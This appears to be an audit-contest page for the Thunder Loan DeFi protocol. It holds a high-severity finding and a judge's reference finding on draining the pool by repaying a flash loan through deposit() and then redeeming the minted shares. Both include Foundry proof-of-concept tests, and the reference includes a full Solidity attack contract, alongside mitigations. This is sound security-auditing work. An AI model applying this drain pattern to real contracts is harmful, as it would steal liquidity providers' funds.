Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash loan deposit reentrancy allows full drainage of pool liquidity

Flash Loan Deposit Reentrancy Allows Draining Pool Liquidity

Description

  • In standard protocol operation, flash loan borrowers borrow funds, execute custom logic, and return the principal plus fee via repay() so the pool balance remains solvent.

  • ThunderLoan::flashloan() calls the receiver callback without a reentrancy guard or a check in deposit(). A borrower can call deposit() with the borrowed tokens during the callback, satisfying the post-loan balance check while minting AssetToken liquidity shares that can immediately be redeemed to steal all pool assets.

// ThunderLoan.sol: flashloan() calls untrusted receiver
receiverAddress.functionCall(abi.encodeCall(IFlashLoanReceiver.executeOperation, ...));
uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) revert ThunderLoan__NotPaidBack(...);
// ThunderLoan.sol: deposit() can be invoked during callback to mint free shares
function deposit(IERC20 token, uint256 amount) external {
@> assetToken.mint(msg.sender, mintAmount);
}

Risk

Likelihood:

  • Occurs whenever a flash loan receiver calls ThunderLoan::deposit() inside executeOperation() using borrowed tokens instead of repaying.

  • Requires no special permissions, privileged roles, timing constraints, or external market conditions.

Impact:

  • Direct 100% theft of pool deposits, leaving liquidity providers with total loss of funds.

  • Attacker extracts arbitrary liquidity without risking any initial capital.

Proof of Concept

The exploit operates through the following steps:

  1. The attacker borrows tokens via ThunderLoan::flashloan().

  2. Inside executeOperation(), the attacker calls deposit() using the borrowed tokens instead of repaying.

  3. deposit() transfers tokens to the vault and mints AssetToken shares to the attacker.

  4. The flash loan balance check passes because the pool received the tokens.

  5. The attacker calls redeem() using the minted shares, successfully withdrawing and stealing the pool assets.

function test_depositReentrancyStealsPoolFunds() public setAllowedToken hasDeposits {
uint256 borrowAmount = 50e18;
uint256 fee = thunderLoan.getCalculatedFee(tokenA, borrowAmount);
ReentrancyAttacker attackerContract = new ReentrancyAttacker(thunderLoan);
tokenA.mint(address(attackerContract), fee);
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 startingPoolBalance = tokenA.balanceOf(address(assetToken));
thunderLoan.flashloan(address(attackerContract), tokenA, borrowAmount, "");
attackerContract.redeem(tokenA);
uint256 endingPoolBalance = tokenA.balanceOf(address(assetToken));
assertLt(endingPoolBalance, startingPoolBalance, "Pool was not drained");
}

Recommended Mitigation

Add OpenZeppelin ReentrancyGuardUpgradeable to ThunderLoan and prevent deposits while a flash loan is active for that token.

- function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ function deposit(IERC20 token, uint256 amount) external nonReentrant revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) revert ThunderLoan__CannotDepositWhileFlashLoaning();
...
}
- function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
+ function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external nonReentrant {
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!